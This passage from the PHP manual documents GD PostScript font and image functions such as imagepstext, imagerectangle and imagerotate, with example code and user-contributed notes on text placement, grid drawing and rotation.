tightness allows you to control the amount of white space between characters. This amount is added to the normal character width and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

angle

angle is in degrees.

Return Values

Returns an array containing the following elements:

0 | left x-coordinate
1 | upper y-coordinate
2 | right x-coordinate
3 | lower y-coordinate

Examples

Example #1 imagepsbbox() usage

<?php
// Create image handle
$im = imagecreatetruecolor(200, 200);

// Allocate colors
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Load the PostScript Font
$font = imagepsloadfont('font.pfm');

// Make a bounding box for the font
$bbox = imagepsbbox('Sample text is simple', $font, 12);

// Define our X and Y cordinates
$x = ($bbox[2] / 2) - 10;
$y = ($bbox[3] / 2) - 10;

// Write the font to the image
imagepstext($im, 'Sample text is simple', $font, 12, $black, $white, $x, $y);

// Output and free memory
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepstext() - Draws a text over an image using PostScript Type1 fonts

User Contributed Notes

eikie 05-May-2008 09:32
in my code below, there is an error!

replace
$w += abs($bb[3])-abs($bb[1]); // accumulate width

with
$w += abs($bb[2])-abs($bb[0]); // accumulate width

also after
$bb = imagepsbbox($c, $font, $size); // calculate width

you can add this line because spaces make odd values...
if ($c == ' ' ) $bb = imagepsbbox('i', $font, $size);
eikie 05-May-2008 08:34
I have a given image width and need to render a long string on that image. By using the following function I'm, able to get an array of strings which each will fit into the images width. It might need a lot of CPU time, but it's cool:

// Function to return an Array of Strings
// Arguments: String to be wrapped, maximum width in pixels of each line, font and fontsize
function imgwordwrap($s, $maxWidth, $font, $size) {
  // Make an empty ArrayList
  $a = array();
  $w = 0;    // Accumulate width of chars
  $i = 0;      // Count through chars
  $rememberSpace = 0; // Remember where the last space was
  // As long as we are not at the end of the String
  while ($i < strlen($s)) {
    // Current char
    $c = substr($s, $i, 1);
    $bb = imagepsbbox($c, $font, $size); // calculate width
    $w += abs($bb[3])-abs($bb[1]); // accumulate width
    if ($c == ' ') $rememberSpace = $i; // Are we a blank space?
    if ($w > $maxWidth) {  // Have we reached the end of a line?
      $sub = substr($s,0,$rememberSpace); // Make a substring
            // Chop off space at beginning
            if (substr($sub,0,1)==' ') $sub = substr($sub,1);
      // Add substring to the array
      $a[] = $sub;
      // Reset everything
      $s = substr($s,$rememberSpace);
      $i = 0;
      $w = 0;
    }
    else {
      $i++;  // Keep going!
    }
  }

  // Take care of the last remaining line
  trim($s);
  if (substr($s,0,1)==' ') $s = substr($s,1);
  $a[] = $s;

  return $a;
}
honza dot bartos at gmail dot com 23-Oct-2006 02:25
When using imagepsbbox, keep in mind, that meaning of y-coordinates is slightly different here. Y-coordinates returned by this function are related to the baseline of the text starting at point [0,0]. Positive values represent points ABOVE the baseline, negative values represent points BELOW the baseline. That is why the lower left y-coordinate is always smaller here than the upper right y-coordinate (these two coordinates are actualy values of metrics.descent and metrics.ascent - see T1Lib docs).

So when you want to place some text using coordinates of the top left corner (for example [100,100]), use this:

<?php

$x = 100;
$y = 100;
$text = "Dodge this";
$fontsize=18;
$font=imagepsloadfont("somefont.pfb");
list($lx,$ly,$rx,$ry) = imagepsbbox($text,$font,$fontsize);
imagepstext ($someimage, $text, $font, $fontsize, $somecolor, $somecolor, $x, $y + $ry);

?>

Hope it helps someone, I got stuck with this for a while.
daniel at dantec dot NO_SPAM dot nl 17-Apr-2002 09:23
When using imagepsbbox, you are probably trying to do something like creating a button with text, so that the button is large enough for the text...
Below is a very simple example of making a black button just big enough to display white text on it.

<?php

//if text is no variable set sample text
if (!$text)
    $text = "This is a sample text";

// set the font size
$fontsize=14;

// load the font to use
$font=ImagePsLoadFont("/fonts/ariam___.pfb");

//get the left lower corner and the right upper
list($lx,$ly,$rx,$ry) = imagepsbbox($text,$font,$fontsize,0,0,0);

// calculate the size of the text
$textwidth = $rx - $lx;
$textheight = $ry - $ly;

// make an image 40 pixels wider and 20 pixels higher than the text
$imh = $textheight + 20;
$imw = $textwidth + 40;
$im = imageCreate( $imw, $imh );

//define colors, first color is used as background color!
$black  = ImageColorAllocate ($im, 0, 0, 0);
$white = ImageColorAllocate ($im, 255, 255, 255);

//create the text (with the same parameters as imagepsbbox!)
ImagePSText ($im, "$text", $font, $fontsize, $white, $white, 20, 20,'','','',4);

//send the header
header("Content-type: image/jpeg");

// create the image
ImageJPEG ($im,"",100);

//destroy the image & font to free memory
Imagepsfreefont ( $font );
ImageDestroy ( $im );

?>
imagepolygon
imagepsencodefont
GD and Image Functions


Change the character encoding vector of a font

imagepsbbox
imagepsextendfont
GD and Image Functions
PHP Manual

imagepsencodefont

(PHP 4, PHP 5)

imagepsencodefont — Change the character encoding vector of a font

Description

bool imagepsencodefont ( resource $font_index , string $encodingfile )

Loads a character encoding vector from a file and changes the fonts encoding vector to it. As a PostScript fonts default vector lacks most of the character positions above 127, you'll definitely want to change this if you use an other language than English.

If you find yourself using this function all the time, a much better way to define the encoding is to set ps.default_encoding in the configuration file to point to the right encoding file and all fonts you load will automatically have the right encoding.

Parameters

font_index

A font resource, returned by imagepsloadfont().

encodingfile

The exact format of this file is described in T1libs documentation. T1lib comes with two ready-to-use files, IsoLatin1.enc and IsoLatin2.enc.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsencodefont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./px3l.pfb');

// Tell T1lib to use ISO Latin 1 encoding
imagepsencode($font, './IsoLatin1.enc');

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

User Contributed Notes

Scott Hanson 15-Jul-2003 05:15
The t1lib-5.0.0 source includes 5 different encoding files under Fonts/enc/. For my text with German umlauts, using IsoLatin1.enc did not work, but PSLatin1.enc did the trick.
alex_marquarth at yahoo dot de 24-Oct-2002 01:41
Because I have had problems with this function to find out that there is no result to store in a variable, a short example how to use:

$font = imagepsloadfont( "/home/www/font/Arial.pfb" );
imagepsencodefont( $font, "/home/www/font/IsoLatin1.enc" );

afterwards you can use the resource $font in each other ps function like imagepstext() or imagepsbbox().
imagepsbbox
imagepsextendfont
GD and Image Functions


Extend or condense a font

imagepsencodefont
imagepsfreefont
GD and Image Functions
PHP Manual

imagepsextendfont

(PHP 4, PHP 5)

imagepsextendfont — Extend or condense a font

Description

bool imagepsextendfont ( resource $font_index , float $extend )

Extend or condense a font (font_index), if the value of the extend parameter is less than one you will be condensing the font.

Parameters

font_index

A font resource, returned by imagepsloadfont().

extend

Extension value, must be greater than 0.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsextendfont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./px3l.pfb');

// Extend the font by 2.5
imagepsextendfont($font, 2.5);

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

User Contributed Notes

admin at studio-gepard dot pl 03-Dec-2009 02:17
It is impossible to use this function with a TrueType (.ttf) fonts.You need to convert font to PostScript Type1 (.pfb) on your own (google - there are free converters too)
Pascal@TeamX 21-May-2003 03:28
Just for the less experienced PHP-Hackers, like me ;-) …

header("Content-type: image/png");
$text = "hello world";
$val = 1.2;
$font = imagepsloadfont(" path to font ");
$im = imagecreate(200, 200);
$color_bg = imagecolorallocate($im, 255, 255, 255);
$color_font = imagecolorallocate($im, 0, 0, 0);
imagefill($im, 0, 0, $color_font);

imagepsextendfont($font, $val);

$bound = imagepstext($im, $text, $font, 25, $color_bg, $color_font, 10, 100, 0, 0, 0, 4);
imagepng($im);
imagedestroy($im);
imagepsencodefont
imagepsfreefont
GD and Image Functions


Free memory used by a PostScript Type 1 font

imagepsextendfont
imagepsloadfont
GD and Image Functions
PHP Manual

imagepsfreefont

(PHP 4, PHP 5)

imagepsfreefont — Free memory used by a PostScript Type 1 font

Description

bool imagepsfreefont ( resource $font_index )

imagepsfreefont() frees memory used by a PostScript Type 1 font.

Parameters

font_index

A font resource, returned by imagepsloadfont().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsfreefont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./bchbi.pfb');

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepsloadfont() - Load a PostScript Type 1 font from file

User Contributed Notes

There are no user contributed notes for this page.
imagepsextendfont
imagepsloadfont
GD and Image Functions


Load a PostScript Type 1 font from file

imagepsfreefont
imagepsslantfont
GD and Image Functions
PHP Manual

imagepsloadfont

(PHP 4, PHP 5)

imagepsloadfont — Load a PostScript Type 1 font from file

Description

resource imagepsloadfont ( string $filename )

Load a PostScript Type 1 font from the given filename.

Parameters

filename

Path to the Postscript font file.

Return Values

In the case everything went right, a valid font index will be returned and can be used for further purposes. Otherwise the function returns FALSE.

Examples

Example #1 imagepsloadfont() example

<?php
// Create a new image instance
$im = imagecreatetruecolor(350, 45);

// Allocate colors and fill the background
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 349, 44, $white);

// Load a font, write to the image and free the font from memory
$font = imagepsloadfont("bchbi.pfb");
imagepstext($im, "Testing... It worked!", $font, 32, $white, $black, 32, 32);
imagepsfreefont($font);

// Output the image
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepsfreefont() - Free memory used by a PostScript Type 1 font

User Contributed Notes

seymour at itsyourdomain dot com 11-Feb-2004 05:45
I had to use a full path to the font file or else I received errors from t1lib. Using just a filename, I received error 14. Using ./filename I received error 2.
imagepsfreefont
imagepsslantfont
GD and Image Functions


Slant a font

imagepsloadfont
imagepstext
GD and Image Functions
PHP Manual

imagepsslantfont

(PHP 4, PHP 5)

imagepsslantfont — Slant a font

Description

bool imagepsslantfont ( resource $font_index , float $slant )

Slant a given font given.

Parameters

font_index

A font resource, returned by imagepsloadfont().

slant

Slant level.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsslantfont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./px3l.pfb');

// Slant the font by 22.5
imagepsslantfont($font, 22.5);

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

User Contributed Notes

There are no user contributed notes for this page.
imagepsloadfont
imagepstext
GD and Image Functions


Draws a text over an image using PostScript Type1 fonts

imagepsslantfont
imagerectangle
GD and Image Functions
PHP Manual

imagepstext

(PHP 4, PHP 5)

imagepstext — Draws a text over an image using PostScript Type1 fonts

Description

array imagepstext ( resource $image , string $text , resource $font_index , int $size , int $foreground , int $background , int $x , int $y [, int $space = 0 [, int $tightness = 0 [, float $angle = 0.0 [, int $antialias_steps = 4 ]]]] )

Draws a text on an image using PostScript Type1 fonts.

Refer to PostScript documentation about fonts and their measuring system if you have trouble understanding how this works.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

text

The text to be written.

font_index

A font resource, returned by imagepsloadfont().

size

size is expressed in pixels.

foreground

The color in which the text will be painted.

background

The color to which the text will try to fade in with antialiasing. No pixels with the color background are actually painted, so the background image does not need to be of solid color.

x

x-coordinate for the lower-left corner of the first character.

y

y-coordinate for the lower-left corner of the first character.

space

Allows you to change the default value of a space in a font. This amount is added to the normal value and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

tightness

tightness allows you to control the amount of white space between characters. This amount is added to the normal character width and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

angle

angle is in degrees.

antialias_steps

Allows you to control the number of colours used for antialiasing text. Allowed values are 4 and 16. The higher value is recommended for text sizes lower than 20, where the effect in text quality is quite visible. With bigger sizes, use 4. It's less computationally intensive.

Return Values

This function returns an array containing the following elements:

0 | lower left x-coordinate
1 | lower left y-coordinate
2 | upper right x-coordinate
3 | upper right y-coordinate

Examples

Example #1 imagepstext() usage

<?php
// Create image handle
$im = imagecreatetruecolor(200, 200);

// Allocate colors
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Load the PostScript Font
$font = imagepsloadfont('font.pfm');

// Write the font to the image
imagepstext($im, 'Sample text is simple', $font, 12, $black, $white, 50, 50);

// Output and free memory
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepsbbox() - Give the bounding box of a text rectangle using PostScript Type1 fonts

User Contributed Notes

soletan at toxa dot de 15-Aug-2010 07:35
As of PHP 5.2.13 with bundled GD (2.0.34) antialiasing_steps mustn't be "4 to 16", but "4 or 16". Values from 5 to 15 result in a warning.
whitemarker dot blogspot dot com 19-Sep-2007 11:28
The documentation above is bad.  It says $font:
"Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont()."

But it can't.  When I put in 1,2,3,4,5 I get
"Warning: imagepstext() expects parameter 3 to be resource, integer given"

I get the same thing when using imageloadfont() because imageloadfont() also returns an integer.  The documentation should instead say:
"resource returned from imagepsloadfont()."
chrislewis60 at hotmail dot com 23-Jul-2007 07:45
imagepstext() appears to be quite memory intensive and we had a problem where about 50% of the time the script would error. You need to make sure PHP has enough memory assigned to it - we had to increase PHP's allocation from 8MB to 16MB for a simple "hello world" example to work smoothly.

If the png header was commented out it would sometimes error with a message like:

Warning: imagepstext() [function.imagepstext]: T1Lib Error 11 or 14

and if the png header was there it would sometimes say:

The image [...] cannot be displayed, because it contains errors.
honza dot bartos at gmail dot com 24-Oct-2006 04:38
The coordinates given by x, y represent actually a starting point of the text baseline. They represent the lower left corner of the first character only in case that any part of the character doesn't lie below baseline (it works for "Hello" but for "Howdy" it does not - because of letter y). There may be some small differences according to the font and size chosen.
heckp at uni-trier.de 10-Jul-2003 05:11
It is important so make shure that the "text" really is a string.

imagepstext ($im, $text, $font, $textsize, $black, $white, 10, 10);

won't work if $text is undefined, so PHP will quit with an error.

so always write it like this:

imagepstext ($im, "$text", $font, $textsize, $black, $white, 10, 10);
m.confalonieri(at)mclink.it 04-Jun-2003 06:00
I found a way to let imagepstext understand 32-bit colors (RGBA) by replacing in gd.c:PHP_FUNCTION(imagepstext)

int _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0;

with

unsigned int _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0;
Jeroen dot Straahof at newego dot nl 06-Feb-2003 06:12
I made a function that makes it easy to align text to the right
of an image. Below you can find the code because for me it
works great. You can also use it to center text as well, if you
like to have that simply remove the -10 and split the result
of $imgwidth and $texwidth

function AlignRight($string, $font, $imgwidth, $fontsize) {
list($lx,$ly,$rx,$ry) = imagepsbbox($string,$font,$fontsize,0,0,0);
$textwidth = $rx - $lx;
$imw = ($imgwidth-10-$textwidth);
return $imw;
}
johan (at) 1way2print.net 06-Nov-2002 02:17
If you use fonts with special chars, remeber to read in the encoded file *.enc with imagepsencodefont ... etc. for Danish, Swedish, German.....
a at url dot de 18-Feb-2002 06:16
a note on kernnig:
t1lib tries to load a corresponding afm file in the directory of the font file.
it does this by replacing the extension (.PFB .pfb) with ".afm". note that this has to be a lowercase afm! usually windows-ps-fonts have file names in all-uppercase, so try renaming the *.AFM file to *.afm.

i also noticed that sometimes this gives an error -2. it seems like t1lib chokes on windows-linebreaks in the afm file.

try 'recode dos..lat1 fontfile.afm' and check again.

if it all works, combinations like "Ta" or "Te" should show the second letter slightly moved to the capital T (on normal fonts like Times anyway).
npdavis at hotmail dot com 24-May-2001 09:09
If you have a programming error in your code, using ImagePsText, sometimes t1lib crashes with an unrecoverable error. Because of this, httpd needs to be restarted.

This problem only occurs if there is a programming error, but can drive you crazy when debugging, if you don't know about it. By killing the parent process(httpd) you "reset" t1lib. When debugging, if you get an error then make a code change, restart httpd before testing it again. This will save hours of frustration. Make it a habit to just restart httpd after every error, and you will be much happier.

Also, to see debugging messages, (if you are rendering x's) comment the jpeg header, and the ImageJpeg statement. You will get beautiful error messages. When you get a blank page, your ImagePsText code is working correctly. Uncomment the Header() and ImageJpeg() and see what you have. You might be passing parameters that render a white image with no text, but the code is working!

Numeric t1lib error messages can be decoded using the t1lib_doc.pdf file that comes with t1lib. PHP simply relays these errors from t1lib to the page. Please don't ask the PHP people about these errors... t1lib has beautiful documentation.... use it: )

thx,
Neil
npdavis at hotmail dot com 24-May-2001 08:56
One other thing... variables. It is important to convert variables to the proper type before they hit this function. In this respect, ImageTtfText is easier to work with. IE, if you pass a font size from one page to the next, via GPC, it becomes a string type. Sooo... use IntVal() to convert it to an integer type that ImagePsText can digest. In addition you must convert HTML special characters or use chr() to represent special characters. ImagePsFont will not decode   to represent a space, use Chr(32) or a space:

<?php
$fontsize=IntVal($fontsize);
$font=ImagePsLoadFont("fonts/IntR.pfb");
ImagePsText($im, $textstring, $font, $fontsize, $textcolor, $background, 0, $fontsize,'','','',16); //note antialias is set
ImagePsFreeFont($font);
?>

thx,
Neil
npdavis at hotmail dot com 22-May-2001 05:54
with a font included in t1lib:

<?PHP
Header ("Content-type: image/jpeg");
$im = ImageCreate (350, 45);
$black = ImageColorAllocate ($im, 0, 0, 0);
$white = ImageColorAllocate ($im, 255, 255, 255);
$font=ImagePsLoadFont("bchbi.pfb");
ImagePsText($im, "Testing... It worked!",
$font, 32, $white, $black, 32, 32);
ImagePsFreeFont($font);
ImageJpeg($im, "", 100);//for best quality... your mileage may vary
ImageDestroy ($im);
?>

Better than using freetype, but with freetype2, the difference is marginal. To flip backround and foreground colors, alternate the order of ImageColorAllocate statements.

If you get outlines (the antialiasing produces these) reverse the $black and $white color identifiers in the ImagePsText function.

Happy PostScripting!

thx,
Neil
imagepsslantfont
imagerectangle
GD and Image Functions


Draw a rectangle

imagepstext
imagerotate
GD and Image Functions
PHP Manual

imagerectangle

(PHP 4, PHP 5)

imagerectangle — Draw a rectangle

Description

bool imagerectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

imagerectangle() creates a rectangle starting at the specified coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

Upper left x coordinate.

y1

Upper left y coordinate 0, 0 is the top left corner of the image.

x2

Bottom right x coordinate.

y2

Bottom right y coordinate.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple imagerectangle() example

<?php
// Create a 200 x 200 image
$canvas = imagecreatetruecolor(200, 200);

// Allocate colors
$pink = imagecolorallocate($canvas, 255, 105, 180);
$white = imagecolorallocate($canvas, 255, 255, 255);
$green = imagecolorallocate($canvas, 132, 135, 28);

// Draw three rectangles each with its own color
imagerectangle($canvas, 50, 50, 150, 150, $pink);
imagerectangle($canvas, 45, 60, 120, 100, $white);
imagerectangle($canvas, 100, 120, 75, 160, $green);

// Output and free from memory
header('Content-Type: image/jpeg');

imagejpeg($canvas);
imagedestroy($canvas);
?>

The above example will output something similar to:

Output of example : Simple imagerectangle() example

User Contributed Notes

rogier 27-Jun-2007 05:27
In addition to Corey's note, this is the kind of code he means. Note that I always draw an outer grid border, so drawing lines will always take
1 + ceil((rows+cols)/2) actions. For a 20X20 grid, this means 21 actions, a 10X25 grid takes 19 Actions

<?php

function draw_grid(&$img, $x0, $y0, $width, $height, $cols, $rows, $color) {
    //draw outer border
    imagerectangle($img, $x0, $y0, $x0+$width*$cols, $y0+$height*$rows, $color);
    //first draw horizontal
    $x1 = $x0;
    $x2 = $x0 + $cols*$width;
    for ($n=0; $n<ceil($rows/2); $n++) {
        $y1 = $y0 + 2*$n*$height;
        $y2 = $y0 + (2*$n+1)*$height;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
    //then draw vertical
    $y1 = $y0;
    $y2 = $y0 + $rows*$height;
    for ($n=0; $n<ceil($cols/2); $n++) {
        $x1 = $x0 + 2*$n*$width;
        $x2 = $x0 + (2*$n+1)*$width;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
}

//example
$img = imagecreatetruecolor(300, 200);
$red   = imagecolorallocate($img, 255,   0,   0);
draw_grid($img, 0,0,15,20,20,10,$red);
header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
have fun ;)
Corey 13-Feb-2007 03:09
Matt,

I agree that drawing 100 boxes for a 10x10 square is ludicrous. However, if we're going to talk about the best way to draw it in GD, you're still off.

Since a rectangle will draw two vertical lines in one draw, we should use it to our advantage. You can draw 5 rectangles that have the tops and bottoms outside of the image, and there you have your ten rows. Draw 5 more who's sides are out of the image and you have your columns. We just drew a 10x10 (you could do 11x11) grid in 10 draw operations.

:)
administrador(ensaimada)sphoera(punt)com 04-May-2006 07:28
<?php
// With this function you will draw rounded corners rectangles with transparent colors.
// Empty (not filled) figures are allowed too!!

function draw_roundrectangle($img, $x1, $y1, $x2, $y2, $radius, $color,$filled=1) {
    if ($filled==1){
        imagefilledrectangle($img, $x1+$radius, $y1, $x2-$radius, $y2, $color);
        imagefilledrectangle($img, $x1, $y1+$radius, $x1+$radius-1, $y2-$radius, $color);
        imagefilledrectangle($img, $x2-$radius+1, $y1+$radius, $x2, $y2-$radius, $color);

        imagefilledarc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color, IMG_ARC_PIE);
    }else{
        imageline($img, $x1+$radius, $y1, $x2-$radius, $y1, $color);
        imageline($img, $x1+$radius, $y2, $x2-$radius, $y2, $color);
        imageline($img, $x1, $y1+$radius, $x1, $y2-$radius, $color);
        imageline($img, $x2, $y1+$radius, $x2, $y2-$radius, $color);

        imagearc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color);
        imagearc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color);
        imagearc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color);
        imagearc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color);
    }
}

?>
More functions at http://www.sphoera.com
carl at pappenheim dot net 20-Feb-2006 03:02
Oh I don't know.  He was on the right track..

<?php

$rows = 5;
$cols = 11;
$eachx = 12;
$eachy = 18;

$max = array($cols*$eachx, $rows*$eachy);
$im = imagecreatetruecolor($max[0]+1,$max[1]+1);
$white = imagecolorallocate($im,255,255,255);
imagefill($im,0,0,$white);

$black = imagecolorallocate($im,50,50,50);

for($x=$max[0]/2;$x>=0;$x-=$eachx) {
    imagerectangle($im, ($max[0]/2)+$x,0, ($max[0]/2)-$x,$max[1], $black);
}
for($y=$max[1]/2;$y>=0;$y-=$eachy) {
    imagerectangle($im, 0,($max[1]/2)+$y, $max[0],($max[1]/2)-$y, $black);
}

header("Content-type: image/jpeg");
imagejpeg($im,'',80);
imagedestroy($im);
?>
matt at bargolf dot net 30-Jan-2006 02:25
Lets not do it Mr Benson's way OK!

I'm sure if I had to draw a 10x10 grid on paper I wouldn't do it by drawing 100 individual squares, redrawing nearly half of the lines twice.

I'd probably do it by drawing 11 vertical lines and 11 horizontal lines.

function ImageGrid2(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {
    $endy = $starty + $height * $yrows;
    for ( $x=0; $x <= $xcols; $x++ ) {
        $x1 = $startx + $width * $x;
        imageline ( $im, $x1, $starty, $x1, $endy, $color );
    }

    $endx = $startx + $width * $xcols;
    for ( $y=0; $y <= $yrows; $y++ ) {
     $y1 = $starty + $height * $y;
     imageline ( $im, $startx, $y1, $endx, $y1, $color );
    }
}
eustaquiorangel at yahoo dot com 17-Dec-2002 09:21
If you want an empty rectangle, I mean, just the borders, fill it first with the ImageFilledRectangle function with the background color and then draw it with this function.
jbenson at technologist dot com 27-Nov-2000 10:41
For those wanting a function to draw a grid I've created one.  I hope this is the right place to post it.

<?php
function ImageGrid(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {

for ( $x=0; $x < $xcols; $x++ ) {
   for ( $y=0; $y < $yrows; $y++ ) {
      $x1 = $startx + ($width * $x);
      $x2 = $startx + ($width * ($x+1));
      $y1 = $starty + ($height * $y);
      $y2 = $starty + ($height * ($y+1));
      ImageRectangle($im, $x1, $y1, $x2, $y2, $color);
   }
}

} // end function ImageGrid
?>
imagepstext
imagerotate
GD and Image Functions


Rotate an image with a given angle

imagerectangle
imagesavealpha
GD and Image Functions
PHP Manual

imagerotate

(PHP 4 >= 4.3.0, PHP 5)

imagerotate — Rotate an image with a given angle

Description

resource imagerotate ( resource $image , float $angle , int $bgd_color [, int $ignore_transparent = 0 ] )

Rotates the image image using the given angle in degrees.

The center of rotation is the center of the image, and the rotated image may have different dimensions than the original image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

angle

Rotation angle, in degrees. The rotation angle is interpreted as the number of degrees to rotate the image anticlockwise.

bgd_color

Specifies the color of the uncovered zone after the rotation

ignore_transparent

If set and non-zero, transparent colors are ignored (otherwise kept).

Return Values

Returns an image resource for the rotated image, or FALSE on failure.

Changelog

Version | Description
5.1.0 | ignore_transparent was added.

Examples

Example #1 Rotate an image 180 degrees

This example rotates an image 180 degrees - upside down.

<?php
// File and rotation
$filename = 'test.jpg';
$degrees = 180;

// Content type
header('Content-type: image/jpeg');

// Load
$source = imagecreatefromjpeg($filename);

// Rotate
$rotate = imagerotate($source, $degrees, 0);

// Output
imagejpeg($rotate);
?>

The above example will output something similar to:

Output of example : Rotate an image 180 degrees

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

User Contributed Notes

henzeberkheij at gmail dot com 01-Jan-2012 02:27
Keep in mind this function rotates counterclockwise.  if you want to go 90 degrees clockwise, you have to tell imagerotate to go 270 degrees counter-clockwise.

$angle = 360-$angle;
Sam Yong - hellclanner at live dot com 27-Sep-2011 06:20
Note that the image resource returned from the imagerotate() function is an entirely different image resource from your original one.

<?php

$res = imagecreatetruecolor(100, 200);
$res2 = imagerotate($res, 90, 0);
var_dump($res, $res2);

?>

This will output:

resource(2, gd)
resource(3, gd)
kraeh at gmx dot net 21-Mar-2011 09:02
I had a problem with a png image containing transparent colors, but found a solution that works for me.
So i thought i might share it:

<?php
$angle=45;
$im=imagerotate($im, $angle, -1);
imagealphablending($im, true);
imagesavealpha($im, true);
?>
superzouz at hotmail dot com 05-Dec-2010 11:30
If you're having trouble rotating images through this function, please note that you can rotate images through CSS. As imagerotate() seems to remove image transparency, I resorted to CSS rotate. Here is an example of CSS code that should work across most browsers:

img.rotated90 {
    /* CSS3 then proprietary code */
    rotation: 90deg;
    -webkit-transform: rotate(90deg);
    -moz-transform: rotate(90deg);
    filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
}
Leo 27-Aug-2010 06:32
// angle in degrees, clockwise, allowed values from 0 to 360 degrees
    function rotateImage ($image, $angle)
    {
        if ( ($angle < 0) || ($angle > 360) )
        {
            exit ("Error, angle passed out of range: [0,360]");
        }

        $width    = imagesx ($image);
        $height    = imagesy ($image);

        $dstImage = imagecreatetruecolor ($width, $height);

        if ( ($angle == 0) || ($angle == 360) )
        {
            // Just copy image to output:
            imagecopy ($dstImage, $image, 0, 0, 0, 0, $width, $height);
        }
        else
        {
            $centerX = floor ($width / 2);
            $centerY = floor ($height / 2);

            // Run on all pixels of the destination image and fill them:
            for ($dstImageX = 0; $dstImageX < $width; $dstImageX++)
            {
                for ($dstImageY = 0; $dstImageY < $height; $dstImageY++)
                {
                    // Calculate pixel coordinate in coordinate system centered at the image center:
                    $x = $dstImageX - $centerX;
                    $y = $centerY - $dstImageY;

                    if ( ($x == 0) && ($y == 0) )
                    {
                        // We are in the image center, this pixel should be copied as is:
                        $srcImageX = $x;
                        $srcImageY = $y;
                    }
                    else
                    {
                        $r = sqrt ($x * $x + $y * $y); // radius - absolute distance of the current point from image center

                        $curAngle = asin ($y / $r); // angle of the current point [rad]

                        if ($x < 0)
                        {
                            $curAngle = pi () - $curAngle;
                        }

                        $newAngle = $curAngle + $angle * pi () / 180; // new angle [rad]

                        // Calculate new point coordinates (after rotation) in coordinate system at image center
                        $newXRel = floor ($r * cos ($newAngle));
                        $newYRel = floor ($r * sin ($newAngle));

                        // Convert to image absolute coordinates
                        $srcImageX = $newXRel + $centerX;
                        $srcImageY = $centerY - $newYRel;
                    }

                    $pixelColor = imagecolorat  ($image, $srcImageX, $srcImageY); // get source pixel color

                    imagesetpixel ($dstImage, $dstImageX, $dstImageY, $pixelColor); // write destination pixel
                }
            }
        }

        return $dstImage;
    }
xavtak at gmail dot com 25-Aug-2010 08:38
I've benchmarked three methods described here for rotating an image.

I used a 1600 x 1200 jpeg picture that was duplicated ten times on the disk. I looped through them to apply a CW rotation using either method.

First algorithm (the "imagesetpixel" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
            {
                $ref = imagecolorat($image, $i, $j);
                imagesetpixel($result, ($h - 1) - $j, $i, $ref);
            }
    }
    return $result;
}
?>

Second algorithm (the "imagecopy" algorithm):
<?php
function CWRotation($image)
{
